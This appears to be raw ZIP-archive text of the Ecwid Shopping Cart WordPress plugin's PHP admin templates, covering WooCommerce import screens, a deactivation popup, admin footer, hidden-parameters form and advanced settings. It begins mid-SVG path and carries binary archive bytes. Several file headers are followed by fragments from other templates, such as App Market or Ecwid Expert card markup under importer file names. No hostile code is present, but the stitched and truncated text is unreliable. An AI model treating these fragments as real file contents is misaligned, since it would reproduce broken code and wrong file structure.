0 0 2.43-1.1 1 1 0 0 1 1.06.08l4.59 3.39a25.74 25.74 0 0 0 5-4.89l-3.32-4.67a1 1 0 0 1 0-1.09 20 20 0 0 0 2.08-4.91 1 1 0 0 1 .82-.73l5.65-.84a25.57 25.57 0 0 0 0-7l-5.65-.94a1 1 0 0 1-.87-.78 19.85 19.85 0 0 0-.74-2.53 21.85 21.85 0 0 0-1.17-2.38 1 1 0 0 1 .07-1.09l3.39-4.59a25.74 25.74 0 0 0-4.89-5l-4.67 3.32a1 1 0 0 1-1.09 0 20 20 0 0 0-4.91-2.08 1 1 0 0 1-.73-.82l-.84-5.65a25.57 25.57 0 0 0-7 0l-.94 5.65a1 1 0 0 1-.75.8 19.84 19.84 0 0 0-2.54.83 20.48 20.48 0 0 0-2.4 1.17 1 1 0 0 1-1.09 0l-4.59-3.4a25.79 25.79 0 0 0-5 4.9l3.32 4.66a1 1 0 0 1 0 1.09 19.94 19.94 0 0 0-2.02 4.92 1 1 0 0 1-.82.72l-5.65.85a25.5 25.5 0 0 0 0 7l5.65.95a1 1 0 0 1 .8.74 21.17 21.17 0 0 0 .82 2.56 19.54 19.54 0 0 0 1.1 2.31 1 1 0 0 1-.07 1.07l-3.39 4.58a25.74 25.74 0 0 0 4.89 5l4.67-3.32a1 1 0 0 1 1.09 0 20 20 0 0 0 4.91 2.08 1 1 0 0 1 .73.82Z"/><path class="api-settings-cls-3" d="M20.59 21h-3.67l-5.34 14H15l.86-2.37h5.92l.81 2.37H26Zm-4 9 2.16-6 2.15 6ZM33.56 21H27.1v14H30v-5h3.52a4.34 4.34 0 0 0 4.62-4.05 3.09 3.09 0 0 0 0-.43A4.32 4.32 0 0 0 34.05 21a2.66 2.66 0 0 0-.49 0Zm-.4 6.36H30v-3.73h3.12a1.87 1.87 0 0 1 2 1.73 1.84 1.84 0 0 1-1.72 2ZM40 21v14h3V21Z"/></svg> </span> </div> <div class="iconable-block__content"> <div class="cta-block"> <div class="cta-block__central"> <div class="cta-block__title"> <?php echo esc_html__( 'Customization with API', 'ecwid-shopping-cart' ); ?> </div> <div class="cta-block__content"> <?php echo esc_html__( 'Use the powerful Ecwid API to customize your store design, layout, and functionality.', 'ecwid-shopping-cart' ); ?> </div> </div> <div class="cta-block__cta"> <a href="https://api-docs.ecwid.com/reference/customize-appearance?utm_source=wp-plugin" target="_blank" type="button" class="btn btn-default btn-medium"> <span><?php echo esc_html__( 'Learn More', 'ecwid-shopping-cart' ); ?></span> </a> </div> </div> </div> </div> </div> </div> </div> </div> </div> <div class="named-area"> <div class="named-area__header"> <div class="named-area__titles"> <div class="named-area__title"> <?php echo esc_html__( 'Apps and integrations', 'ecwid-shopping-cart' ); ?> </div> <div class="named-area__subtitle"> <?php echo esc_html__( 'Integrate your store with external services to enhance its functionality.', 'ecwid-shopping-cart' ); ?> </div> </div> <div class="named-area__description"></div> <div class="named-area__additional"></div> </div> <div class="named-area__body"> <div class="a-card a-card--normal"> <div class="a-card__paddings"> <div class="iconable-block"> <div class="iconable-block__infographics"> <span class="iconable-block__icon"> <svg id="Layer_1" data-name="Layer 1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 56 56"><defs><style>.woo-cls-2{fill:#6d839b}</style></defs><path fill="#fbd88e" d="M1 1v9h3v32h44V10h3V1H1z"/><path class="woo-cls-2" d="M51 0H1a1 1 0 0 0-1 1v9a1 1 0 0 0 1 1h2v31a1 1 0 0 0 1 1h44a1 1 0 0 0 1-1V11h2a1 1 0 0 0 1-1V1a1 1 0 0 0-1-1Zm-4 41H5V11h42Zm3-32H2V2h48Z"/><path d="M20.3 36.53a3.35 3.35 0 0 1 3-2h29.29A3.34 3.34 0 0 1 56 37.91v11.22a3.36 3.36 0 0 1-3.17 3.23H42.16l1.44 3.54c-2.13-1.17-4.21-2.37-6.35-3.52h-14A3.37 3.37 0 0 1 20 49.13v-11a4 4 0 0 1 .28-1.63" fill-rule="evenodd" fill="#945c87"/><path d="M34.59 36.8a1.3 1.3 0 0 1 2 .26 1.21 1.21 0 0 1 0 1.15A17.11 17.11 0 0 0 35.27 43a31.15 31.15 0 0 0-.52 6.39 1.24 1.24 0 0 1-.81 1.34 1.56 1.56 0 0 1-1.42-.63 15.3 15.3 0 0 1-3.15-6.14l-1.94 3.89a9.16 9.16 0 0 1-1.63 2.49c-.3.3-.81.57-1.2.27a4.44 4.44 0 0 1-1-2 87.67 87.67 0 0 1-2-9.9 1.24 1.24 0 0 1 .65-1.44 1.43 1.43 0 0 1 1.4.14 1.47 1.47 0 0 1 .39.94 80 80 0 0 0 1.47 7.68c1.06-2 2.12-4 3.18-6.07a2 2 0 0 1 .64-.78 1 1 0 0 1 1.29.13 2 2 0 0 1 .44 1.06 28.71 28.71 0 0 0 1.36 4.9 28.71 28.71 0 0 1 1.47-7.06 5 5 0 0 1 .69-1.34m6 1.29a3.7 3.7 0 0 1 3.17 1.11 4.93 4.93 0 0 1 1.11 2.6 8 8 0 0 1-.86 4.67 5.21 5.21 0 0 1-1.83 2.09 3.72 3.72 0 0 1-3.92-.12 4.33 4.33 0 0 1-1.65-2.76A7.58 7.58 0 0 1 38.72 39a3.5 3.5 0 0 1 1.87-.86m.23 2.47a2.52 2.52 0 0 0-1.2 1.15 4.37 4.37 0 0 0-.36 4.07 1.23 1.23 0 0 0 .82.78 1.42 1.42 0 0 0 1.11-.44 4.13 4.13 0 0 0 1.19-2.32 4 4 0 0 0-.48-2.9 1 1 0 0 0-1.08-.34m9-2.47a3.7 3.7 0 0 1 3.12 1 4.87 4.87 0 0 1 1.18 2.8 7.93 7.93 0 0 1-.87 4.56 5.16 5.16 0 0 1-1.87 2.14 3.78 3.78 0 0 1-3.79-.05A3.92 3.92 0 0 1 46 46.51a7.62 7.62 0 0 1 1.71-7.41 3.9 3.9 0 0 1 2.09-1m.2 2.46a2.78 2.78 0 0 0-1.27 1.31 4.32 4.32 0 0 0-.23 4 1.08 1.08 0 0 0 .86.71 1.62 1.62 0 0 0 1.17-.58 4.17 4.17 0 0 0 1.1-2.56 3.71 3.71 0 0 0-.55-2.55 1 1 0 0 0-1.08-.33" fill="#fff" fill-rule="evenodd"/><path class="woo-cls-2" d="M29 31v-8h3l-6-7-6 7h3v8h6z"/></svg> </span> </div> <div class="iconable-block__content"> <div class="cta-block"> <div class="cta-block__central"> <div class="cta-block__title"> <?php echo esc_html__( 'Import product catalog from WooCommerce', 'ecwid-shopping-cart' ); ?> </div> <div class="cta-block__content"> <?php echo esc_html__( 'If you want to move your WooCommerce store to Ecwid or have another store outside WooCommerce, use the Ecwid migration tool to import your products in bulk.', 'ecwid-shopping-cart' ); ?> </div> </div> <div class="cta-block__cta"> <?php if ( class_exists( 'woocommerce' ) && class_exists( 'Ecwid_Importer' ) ) { ?> <a href="<?php echo esc_url( admin_url( 'admin.php?page=ec-store-import-woocommerce' ) ); ?>" target="_blank" type="button" class="btn btn-default btn-medium"> <span><?php echo esc_html__( 'Go to Import Page', 'ecwid-shopping-cart' ); ?></span> </a> <?php } else { ?> <a href="https://support.ecwid.com/hc/en-us/articles/360000049040?utm_source=wp-plugin" target="_blank" type="button" class="btn btn-default btn-medium"> <span><?php echo esc_html__( 'Learn More', 'ecwid-shopping-cart' ); ?></span> </a> <?php } ?> </div> </div> </div> </div> </div> </div> <div class="a-card a-card--normal"> <div class="a-card__paddings"> <div class="iconable-block"> <div class="iconable-block__infographics"> <span class="iconable-block__icon"> <svg id="Layer_1" data-name="Layer 1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 56 56"><defs><style>.app-market-cls-5{fill:#6d839b}</style></defs><rect x="2.98" y="3" width="25" height="25" rx="4" fill="#cbe87c"/><rect x="3" y="28" width="25" height="25" rx="4" fill="#cfe7ff"/><rect x="28" y="28" width="25" height="25" rx="4" fill="#fbd88e"/><rect x="28" y="3" width="25"PK������Ê—[WÞÍ����6��ecwid-shopping-cart/templates/importer/landing.tpl.phpnu�„[µü¤��������<div class="wrap"><h1><?php printf( __( 'Import products to your %s store', 'ecwid-shopping-cart' ), Ecwid_Config::get_brand() ); ?></h1> <p> <?php printf( __( 'Here, we will help you uploading your product catalog to %s from another shopping cart or other sources.', 'ecwid-shopping-cart' ), Ecwid_Config::get_brand() ); ?> </p> <?php if ( $this->_need_to_show_woo() ): ?> <div class="card"> <h2><?php _e( 'Import product catalog from WooCommerce', 'ecwid-shopping-cart' ); ?></h2> <p> <?php printf(__( 'We found you have a WooCommerce installed. Your WooCommerce store has %1$s products and %2$s categories. Would you like to import it to %3$s?', 'ecwid-shopping-cart' ), Ecwid_Importer::count_woo_products(), Ecwid_Importer::count_woo_categories(), Ecwid_Config::get_brand() ); ?> </p> <a href="admin.php?page=<?php echo self::PAGE_SLUG_WOO; ?>"> <?php printf( __( 'Import your WooCommerce catalog to %s', 'ecwid-shopping-cart' ), Ecwid_Config::get_brand() ); ?> </a> <p><?php _e('(You will be able to confirm the changes before the actual import)', 'ecwid-shopping-cart' ); ?></p> </div> <?php endif; ?> <?php if ( !Ecwid_Config::is_wl() ): ?> <div class="card"> <h2><?php _e( 'Import product catalog from other sources', 'ecwid-shopping-cart' ); ?></h2> <p><?php _e( 'Ecwid allows you to upload your products in a form of CSV file. Learn more about this tool in the Ecwid Help Center', 'ecwid-shopping-cart'); ?></p> <p> <a href="<?php _e( 'https://support.ecwid.com/hc/en-us/articles/208079105-Importing-products', 'ecwid-shopping-cart' ); ?>"><?php _e( 'Learn more', 'ecwid-shopping-cart' ); ?></a> </p> </div> <?php endif; ?> </div>PK������Ê—[”ËÈà ��à ��A��ecwid-shopping-cart/templates/importer/woo-complete-alert.tpl.phpnu�„[µü¤��������ec-store-admin-appmarket' ); } ?> <a href="<?php echo esc_url( $app_market_link ); ?>" target="_blank" type="button" class="btn btn-default btn-medium"> <span><?php echo esc_html__( 'Go to App Market', 'ecwid-shopping-cart' ); ?></span> </a> </div> </div> </div> </div> </div> </div> <div class="a-card a-card--normal"> <div class="a-card__paddings"> <div class="iconable-block"> <div class="iconable-block__infographics"> <span class="iconable-block__icon"> <svg data-name="Layer 1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 56 56"><rect x="2" y="2" width="52" height="52" rx="4" fill="#ff4a00"/><path d="M33 28a11.94 11.94 0 0 1-.77 4.22A11.94 11.94 0 0 1 28 33a11.84 11.84 0 0 1-4.22-.77A11.94 11.94 0 0 1 23 28a11.94 11.94 0 0 1 .77-4.22A11.94 11.94 0 0 1 28 23a11.94 11.94 0 0 1 4.22.77A11.94 11.94 0 0 1 33 28Zm14.72-3.34H36.05l8.25-8.26a20.22 20.22 0 0 0-2.16-2.55 20.22 20.22 0 0 0-2.55-2.16L31.33 20V8.28A19.49 19.49 0 0 0 28 8a20.19 20.19 0 0 0-3.32.28V20l-8.27-8.3a20.22 20.22 0 0 0-2.55 2.16 20.15 20.15 0 0 0-2.15 2.55L20 24.67H8.28S8 26.86 8 28a20.19 20.19 0 0 0 .28 3.32H20l-8.3 8.27a20.25 20.25 0 0 0 4.71 4.71l8.26-8.25v11.67A19.32 19.32 0 0 0 28 48a19.32 19.32 0 0 0 3.32-.28V36.05l8.26 8.25a19.42 19.42 0 0 0 2.55-2.16 20.22 20.22 0 0 0 2.16-2.55l-8.25-8.26h11.68A20.1 20.1 0 0 0 48 28a20.1 20.1 0 0 0-.28-3.32Z" fill="#fff"/></svg> </span> </div> <div class="iconable-block__content"> <div class="cta-block"> <div class="cta-block__central"> <div class="cta-block__title"> <?php echo esc_html__( 'Zapier integration', 'ecwid-shopping-cart' ); ?> </div> <div class="cta-block__content"> <?php echo esc_html__( 'Connect thousands of popular apps to your online store with Zapier integration and streamline store management workflows without writing code.', 'ecwid-shopping-cart' ); ?> </div> </div> <div class="cta-block__cta"> <a href="https://www.ecwid.com/blog/how-to-connect-ecwid-with-2000-online-business-tools.html?utm_source=wp-plugin" target="_blank" type="button" class="btn btn-default btn-medium"> <span><?php echo esc_html__( 'Learn More', 'ecwid-shopping-cart' ); ?></span> </a> </div> </div> </div> </div> </div> </div> <div class="a-card a-card--normal"> <div class="a-card__paddings"> <div class="iconable-block"> <div class="iconable-block__infographics"> <span class="iconable-block__icon"> <svg id="Layer_1" data-name="Layer 1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 56 56"><defs><style>.api-cls-3{fill:#6d839b}</style></defs><path d="M53 41H8a5 5 0 0 0-5 5 5 5 0 0 0 5 5h45" fill="#fff"/><path d="M8 1a5 5 0 0 0-5 5v39h.1A5 5 0 0 1 8 41h45V1Z" fill="#edf7fd"/><path class="api-cls-3" d="M23.87 14h-3.68l-5.33 13.76h3.37l.87-2.34H25l.85 2.34h3.37Zm-4 8.88L22 16.89l2.15 5.94ZM36.83 13.92h-6.46V27.8h2.94v-5h3.52a4.33 4.33 0 0 0 4.63-4 3.09 3.09 0 0 0 0-.43 4.31 4.31 0 0 0-4.14-4.47Zm-.39 6.32h-3.13v-3.69h3.13a1.86 1.86 0 0 1 2 1.71 1.83 1.83 0 0 1-1.71 2ZM42.53 13.92V27.8h2.94V13.92Z"/><path fill="#fe948d" d="M33 45h12v10l-6-4-6 4V45z"/><path class="api-cls-3" d="M54 41.92V0H8a6 6 0 0 0-6 6v40.08A6 6 0 0 0 8 52h24v3a1 1 0 0 0 .53.88 1 1 0 0 0 1-.05L39 52.2l5.45 3.63A1 1 0 0 0 46 55v-3h8v-5h-8v-2a1 1 0 0 0-1-1H33a1 1 0 0 0-1 1v2H8a4 4 0 0 1-3.69-2PK������Ê—[ÞÑÊU³ ��³ ��7��ecwid-shopping-cart/templates/importer/woo-main.tpl.phpnu�„[µü¤��������<div class="wrap ecwid-importer state-<?php echo $this->_is_token_ok() ? 'woo-initial' : 'no-token'; ?>"> <h1><?php echo sprintf( __( 'Import your products from WooCommerce to %s', 'ecwid-shopping-cart' ), Ecwid_Config::get_brand() ); ?></h1> <p><?php echo sprintf( __( 'This import will copy your WooCommerce products and categories to your %s store.', 'ecwid-shopping-cart' ), Ecwid_Config::get_brand() ); ?></p> <?php if ( !Ecwid_Config::is_wl() ): ?> <p><?php echo sprintf( __( '<b>Important note:</b> import creates new products. please mind the maximum number of products and categories you can add to your store. This import tool will automatically stop when you reach the limit. To learn the current store limit or increase it, please see the "<a %s>Billing & Plans</a>" page in your store control panel. ', 'ecwid-shopping-cart' ), 'href="admin.php?page=ec-store-admin-billing"' ); ?></p> <?php endif; ?> <h2><?php _e( 'Import summary.', 'ecwid-shopping-cart' ); ?></h2> <p> <?php _e( 'Your WooCommerce store has ', 'ecwid-shopping-cart' ); echo $this->_get_products_categories_message( Ecwid_Importer::count_woo_products(), Ecwid_Importer::count_woo_categories() ); ?> </p> <p> <?php printf( __( 'Your %s store has ', 'ecwid-shopping-cart' ), Ecwid_Config::get_brand() ); echo $this->_get_products_categories_message( Ecwid_Importer::count_ecwid_products(), Ecwid_Importer::count_ecwid_categories() ); ?> </p> <p> <?php echo sprintf( __( 'After import, your %s store will have ', 'ecwid-shopping-cart' ), Ecwid_Config::get_brand() ); echo $this->_get_products_categories_message( Ecwid_Importer::count_ecwid_products() + Ecwid_Importer::count_woo_products(), Ecwid_Importer::count_ecwid_categories() + Ecwid_Importer::count_woo_categories() ); ?> </p> <?php if ( count( Ecwid_Importer::get_ecwid_demo_products() ) > 0 && Ecwid_Importer::count_ecwid_demo_products() < Ecwid_Importer::count_ecwid_products() ): ?> <h2><?php _e( 'Import settings.', 'ecwid-shopping-cart' ); ?></h2> <p> <label><input type="checkbox" class="import-settings" name="<?php echo Ecwid_Importer::SETTING_DELETE_DEMO; ?>"><?php _e( 'Remove demo products', 'ecwid-shopping-cart' ); ?></label> </p> <?php endif; ?> <?php if ( Ecwid_Importer::count_ecwid_demo_products() < Ecwid_Importer::count_ecwid_products() ): ?> <p> <label><input type="checkbox" class="import-settings" name="<?php echo Ecwid_Importer::SETTING_UPDATE_BY_SKU; ?>"><?php _e( 'Overwrite existing products with matching SKU', 'ecwid-shopping-cart' ); ?></label> </p> <?php endif; ?> <div class="importer-state importer-state-woo-initial"> <?php require __DIR__ . '/woo-initial.tpl.php'; ?> </div> <div class="importer-state importer-state-no-token"> <?php require __DIR__ . '/import-no-token.tpl.php'; ?> </div> <div class="importer-state importer-state-woo-in-progress"> <?php require __DIR__ . '/woo-in-progress.tpl.php'; ?> </div> <div class="importer-state importer-state-woo-complete"> <?php require __DIR__ . '/woo-complete.tpl.php'; ?> </div> </div>PK������Ê—[#ç=��=��:��ecwid-shopping-cart/templates/importer/woo-summary.tpl.phpnu�„[µü¤��������a-block"> <div class="cta-block__central"> <div class="cta-block__title"> <?php echo esc_html__( 'Promote your services as Ecwid Expert', 'ecwid-shopping-cart' ); ?> </div> <div class="cta-block__content"> <?php echo esc_html__( 'Join our community of experts and promote your services to clients who need help with store setup, design, or customization.', 'ecwid-shopping-cart' ); ?> </div> </div> <div class="cta-block__cta"> <a href="https://www.ecwid.com/experts?utm_source=wp-plugin" target="_blank" type="button" class="btn btn-default btn-medium"> <span><?php echo esc_html__( 'Learn More', 'ecwid-shopping-cart' ); ?></span> </a> </div> </div> </div> </div> </div> </div> <div class="a-card a-card--normal"> <div class="a-card__paddings"> <div class="iconable-block"> <div class="iconable-block__infographics"> <span class="iconable-block__icon"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 56 56"><path fill="#FBD88E" d="M28.09 3.79c-.61 0-1.23.32-1.55.96l-7.02 14.22-15.68 2.28c-1.41.21-1.98 1.94-.96 2.94l11.35 11.07-2.68 15.63c-.19 1.11.69 2.02 1.7 2.02.26 0 .54-.06.8-.2l14.03-7.38 14.03 7.38c.26.14.54.2.8.2 1 0 1.89-.9 1.7-2.02l-2.68-15.63L53.3 24.19c1.02-1 .46-2.73-.96-2.94l-15.69-2.28-7.02-14.22c-.31-.64-.93-.96-1.54-.96z"/><path fill="#7E94AA" d="M28.09 3.79c.61 0 1.23.32 1.55.96l7.02 14.22 15.69 2.28c1.41.21 1.98 1.94.96 2.94L41.94 35.25l2.68 15.63c.19 1.11-.69 2.02-1.7 2.02-.26 0-.54-.0PK������Ê—[������������=��ecwid-shopping-cart/templates/importer/post-catalog/index.phpnu�ÏÃ6Ç$��������PK������Ê—[²èkZ����2��ecwid-shopping-cart/templates/popup/deactivate.phpnu�„[µü¤��������<h3><?php _e( 'If you have a moment, please let us know why you are deactivating:', 'ecwid-shopping-cart' ); ?></h3> <ul class="reasons-list"> <?php foreach ( $reasons as $key => $reason ): ?> <li class="reasons-list-item" data-option-key="<?php echo $key; ?>"> <label> <span> <input type="radio" name="reason" value="<?php echo $key; ?>" data-text="<?php esc_attr_e( $reason['text'] ); ?>"/> </span> <span> <?php echo $reason['text']; ?> </span> </label> <?php if ( @$reason['has_message'] ): ?> <div class="message"> <textarea name="message[<?php echo $key; ?>]" placeholder="<?php echo $reason['message_hint']; ?>"><?php if($reason['code'] == 'theme'){ echo $reason['message_hint']; } ?></textarea> </div> <?php endif; ?> </li> <?php endforeach; ?> </ul> <div class="bottom-support-link"> <a href="#"><?php _e( 'Contact Support', 'ecwid-shopping-cart' ); ?></a> </div>PK������Ê—[µÝ‡ ¯���¯���.��ecwid-shopping-cart/templates/popup/footer.phpnu�„[µü¤��������<?php foreach ( $this->_get_footer_buttons() as $button ): ?> <button class="button <?php echo $button->class; ?>"><?php echo $button->title; ?></button> <?php endforeach; ?> PK������Ê—[nf,���,���.��ecwid-shopping-cart/templates/popup/header.phpnu�„[µü¤��������<h3><?php echo $this->_get_header(); ?></h3>PK������Ê—[2NåV��V��-��ecwid-shopping-cart/templates/popup/popup.phpnu�„[µü¤��������<div class="ecwid-popup <?php echo $this->_class; ?>"> <div class="ecwid-popup-window"> <div class="ecwid-popup-header"> <?php $this->_render_header(); ?> </div> <div class="ecwid-popup-body"> <?php $this->_render_body(); ?> </div> <div class="ecwid-popup-footer"> <?php $this->_render_footer(); ?> </div> </div> </div>PK������Ê—[‰õÛÓ����.��ecwid-shopping-cart/templates/admin-footer.phpnu�„[µü¤��������<div class="ecwid-admin-footer"> <?php if ( !Ecwid_Config::is_wl()): ?> <?php if ( Ecwid_Admin_Main_Page::uses_integrated_admin() ): ?> <div class="ecwid-admin-footer-block ecwid-app-badges-block"> <h4 class="ecwid-admin-footer-title"><?php _e('Manage Store on iPhone, iPad or Android', 'ecwid-shopping-cart'); ?></h4> <div class="ecwid-admin-footer-text"> <a target="_blank" id="ecwid-get-mobile-app" href="admin.php?page=ecwid-admin-mobile"> <?php printf( __( 'Get %s mobile app', 'ecwid-shopping-cart' ), Ecwid_Config::get_brand() ); ?> </a> </div> </div> <?php endif; ?> <div class="ecwid-admin-footer-block"> <h4 class="ecwid-admin-footer-title"><?php _e('Questions?', 'ecwid-shopping-cart'); ?></h4> <div class="ecwid-admin-footer-text"> <?php _e('<a href="admin.php?page=' . Ecwid_Admin::ADMIN_SLUG . '-help">Read FAQ or contact support</a>', 'ecwid-shopping-cart'); ?> </div> </div> <?php endif; ?> <?php if ( @$show_reconnect && Ecwid_Config::should_show_reconnect_in_footer() ): ?> <div class="ecwid-admin-footer-block"> <h4 class="ecwid-admin-footer-title"><?php printf( __('Want to connect another %s store?', 'ecwid-shopping-cart'), Ecwid_Config::get_brand() ); ?></h4> <div class="ecwid-admin-footer-text"> <?php echo sprintf(__('<a %s>Reconnect</a>', 'ecwid-shopping-cart'), 'href="' . Ecwid_Admin::get_dashboard_url() . '&reconnect"'); ?> </div> </div> <?php endif; ?> </div> PK������Ê—[";ßpÏ���Ï���,��ecwid-shopping-cart/templates/admin-head.phpnu�„[µü¤��������<div class="head"> <?php if( !Ecwid_Config::is_wl() ) { ecwid_embed_svg( 'ecwid-logo-blue' ); } ?> <h3> <?php printf( __( '%s', 'ecwid-shopping-cart' ), Ecwid_Config::get_brand() ); ?> </h3> </div>PK������Ê—[óÿâŽ3��3��/��ecwid-shopping-cart/templates/admin-message.phpnu�„[µü¤��������<div class="ecwid-message <?php echo esc_attr( $type ); ?>"> <?php if ( $title ): ?> <div class="ecwid-message-title"> <?php echo esc_html( $title ); ?> </div> <?php endif; ?> <div class="ecwid-message-content"> <?php echo $message; ?> </div> <?php if ( $primary_button || $secondary_button || $do_not_show_again ): ?> <div class="ecwid-message-buttons"> <?php if ($primary_button): ?> <div> <a class="button button-primary" href="<?php echo esc_attr( $primary_url ); ?>" <?php if ( $primary_blank ): ?> target="_blank" <?php endif; ?> > <?php echo esc_html( $primary_title ); ?> </a> </div> <?php endif; ?> <?php if ( $secondary_button ): ?> <div> <a class="button<?php if ( $secondary_hide ): ?> ecwid-message-hide<?php endif; ?>" href="<?php echo esc_attr( $secondary_url ); ?>" <?php if ( $secondary_blank ): ?> target="_blank" <?php endif; ?> > <?php echo esc_html( $secondary_title ); ?> </a> </div> <?php endif; ?> <div class="hide-wrapper"> <?php if ( $do_not_show_again ): ?> <a class="ecwid-message-hide" name="<?php echo $name; ?>" href="javascript: void(0);"> <?php _e('Never show this message again', 'ecwid-shopping-cart'); ?> </a> <?php endif; ?> </div> </div> <?php endif; ?> </div>PK������Ê—[Š<X†2��2��.��ecwid-shopping-cart/templates/admin-params.phpnu�„[µü¤��������<h2>Online store hidden parameters</h2> <div style="max-width: 800px"> <b style="color: red">WARNING: ADVANCED CONFIGURATION AHEAD!</b> Changing these settings may significantly affect the plugin functionality, including admin settings and storefront. You should only continue if you are sure of what you are doing. <br /> <br /> Having a problem working with the Online store plugin? Visit our <a target="_blank" href="https://support.ecwid.com">Help center</a> if you haven't yet. </div> <br /> <form method="POST" type="multipart/form-data" action="admin-post.php?action=<?php echo ecwid_get_update_params_action(); ?>"> <input type="hidden" name="nonce" value="<?php echo wp_create_nonce( ecwid_get_update_params_action() ); ?>" /> <?php foreach ( ecwid_get_update_params_options() as $key => $option ): ?> <div><?php echo $key; ?>: <span> <?php if ( @$option['type'] == 'bool' ): ?> <select name="option[<?php echo $key; ?>]"> <option value=""<?php if (get_option($key) == ''):?> selected="selected"<?php endif; ?>>off</option> <option value="Y"<?php if (get_option($key) ):?> selected="selected"<?php endif; ?>>on</option> </select> <?php elseif ( @$option['type'] == 'string'): ?> <input type="text" name="option[<?php echo $key; ?>]" value="<?php echo get_option( $key ); ?>"> <?php elseif ( @$option['type'] == 'html'): ?> <textarea name="option[<?php echo $key; ?>]" style="width:500px"><?php echo htmlentities( get_option( $key ) ); ?></textarea> <?php elseif ( @$option['values'] ): ?> <select name="option[<?php echo $key; ?>]"> <?php foreach ( @$option['values'] as $value ): ?> <option value="<?php echo $value; ?>"<?php if ( $value == get_option($key)): ?> selected="selected"<?php endif; ?>><?php echo $value; ?></option> <?php endforeach; ?> </select> <?php endif; ?> </span> <?php echo get_option($key); ?> </div> <?php endforeach; ?> <button class="btn btn-primary">submit</button> </form> <br /> <h2>Clear plugin cache</h2> <a href="?<?php echo ecwid_get_clear_all_cache_action(); ?>&redirect_back">Clear all caches</a>PK������Ê—[!¦��¦��/��ecwid-shopping-cart/templates/admin-timeout.phpnu�„[µü¤��������<div class="ecwid-admin-timeout"> <div class="ec-store-box"> <div class="logo"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 70 70"> <path d="M34.5 67C16.58 67 2 52.42 2 34.5S16.58 2 34.5 2 67 16.58 67 34.5 52.42 67 34.5 67zm0-62C18.23 5 5 18.23 5 34.5S18.23 64 34.5 64 64 50.77 64 34.5 50.77 5 34.5 5z"></path> <path d="M34.5 49c-1.38 0-2.5-1.12-2.5-2.5s1.12-2.5 2.5-2.5 2.5 1.12 2.5 2.5-1.12 2.5-2.5 2.5zM35.5 38.57h-2l-1-14c0-1.17.89-2.07 2-2.07s2 .9 2 2l-1 14.07z"></path> </svg> </div> <h3 class="title"><?php _e("Sorry we're having technical difficulties.", 'ecwid-shopping-cart'); ?></h3> <div class="text"> <?php _e('Our team is already working on this issue. Please refresh the page in a few minutes. If the issue persists, please contact <a target="_blank" href="https://help.ecwid.com/customer/portal/emails/new">our customer support team</a>.', 'ecwid-shopping-cart'); ?> </div> </div>PK������Ê—[ë|fz·+��·+��3��ecwid-shopping-cart/templates/advanced-settings.phpnu�„[µü¤��������<h2><?php printf( __( '%s — Advanced settings', 'ecwid-shopping-cart' ), Ecwid_Config::get_brand() ); ?></h2> <div class="wrap"> <form class="pure-form pure-form-aligned ecwid-settings advanced-settings" method="POST" action="options.php"> <?php settings_fields('ecwid_options_page'); ?> <input type="hidden" name="settings_section" value="advanced" /> <fieldset> <?php if ( Ecwid_Seo_Links::should_display_option() ): ?> <div class="pure-control-group checkbox"> <div class="label"> <label for="<?php echo Ecwid_Seo_Links::OPTION_ENABLED; ?>"> <input id="<?php echo Ecwid_Seo_Links::OPTION_ENABLED; ?>" name="<?php echo Ecwid_Seo_Links::OPTION_ENABLED; ?>" type="checkbox" <?php if ( Ecwid_Seo_Links::is_enabled() ): ?> checked="checked" <?php endif; ?> value="Y" <?php if ( !Ecwid_Seo_Links::is_feature_available() ): ?> disabled="disabled" <?php endif; ?> /> <?php _e('SEO friendly clean URLs', 'ecwid-shopping-cart'); ?> </label> <?php if ( Ecwid_Seo_Links::is_feature_available() ): ?> <div class="note"> <?php _e( 'This enables new clean URLs format in your store. The new urls do not contain hash sign (\'#\'), so they look nicer and are better indexed by Google.', 'ecwid-shopping-cart' ); ?> </div> <?php else: ?> <div class="note"> <?php printf( __( 'To enable clean URLs in your store, you will need to enable pretty permalinks in your WordPress site settings. Navigate to <a%s>Settings->Permalink</a> and enable the "Post name" permalink type.', 'ecwid-shopping-cart' ), ' href="' . admin_url( 'options-permalink.php' ) . '"'); ?> </div> <?php endif; ?> </div> </div> <hr /> <?php endif; ?> <div class="pure-control-group checkbox"> <div class="label"> <label for="ecwid_is_sso_enabled" class="premium-feature"> <input id="ecwid_is_sso_enabled" name="ecwid_is_sso_enabled" type="checkbox" <?php if ( $is_sso_enabled ) : ?> checked="checked" <?php endif; ?> <?php if ( $is_sso_checkbox_disabled ) : ?> disabled="disabled" <?php endif; ?> /> <?php _e('Customer Single Sign-On', 'ecwid-shopping-cart'); ?> <?php ecwid_embed_svg('star'); ?> </label> <div class="note"> <?php printf( __( 'Single Sign-On allows your customers to have a single login for your WordPress site and your %s. When someone logs in to your site, they will automatically be logged in to their customer account in your store as well with no need to enter their email/password again.', 'ecwid-shopping-cart'), Ecwid_Config::get_brand() ); ?> </div> <?php if (!ecwid_is_paid_account()): ?> <div class="upgrade-note"> <a class="button ecwid-button button-green" target="_blank" href="<?php echo Ecwid_Admin::get_dashboard_url(); ?>&ec-page=<?php echo urlencode( Ecwid_Admin_Main_Page::PAGE_HASH_UPGRADE ); ?>"> <?php _e( 'Upgrade to get this feature', 'ecwid-shopping-cart' ); ?> </a> <div class="note grayed-links"> <?php printf( __( 'Please subscribe to a paid plan to get this feature.', 'ecwid-shopping-cart'), Ecwid_Config::get_brand() ); ?> </div> </div> <?php endif; ?> <?php if ( !$is_sso_enabled && ecwid_is_paid_account() && !get_option('ecwid_sso_secret_key') && !$has_create_customers_scope): ?> <div class="note"> <?php printf( __( 'To allow %s automatically log in customers to your store, please provide it with a permission to use the customer data in the store. <a %s>Please use this link to do that</a>', 'ecwid-shopping-cart'), Ecwid_Config::get_brand(), 'href="' . $reconnect_link . '"'); ?> </div> <?php endif; ?> <?php if ( !get_option('users_can_register' ) ): ?> <div class="note"> <?php echo sprintf(__('To make sure your customer can actually log in to your site and store, enable registration in the <a %s>site settings</a>', 'ecwid-shopping-cart'), 'href="options-general.php"'); ?> </div> <?php endif; ?> </div> </div> <?php if ( get_option( 'ecwid_use_chameleon' ) ): ?> <hr /> <div class="pure-control-group checkbox"> <div class="label"> <label for="ecwid_use_chameleon"> <input id="ecwid_use_chameleon" name="ecwid_use_chameleon" 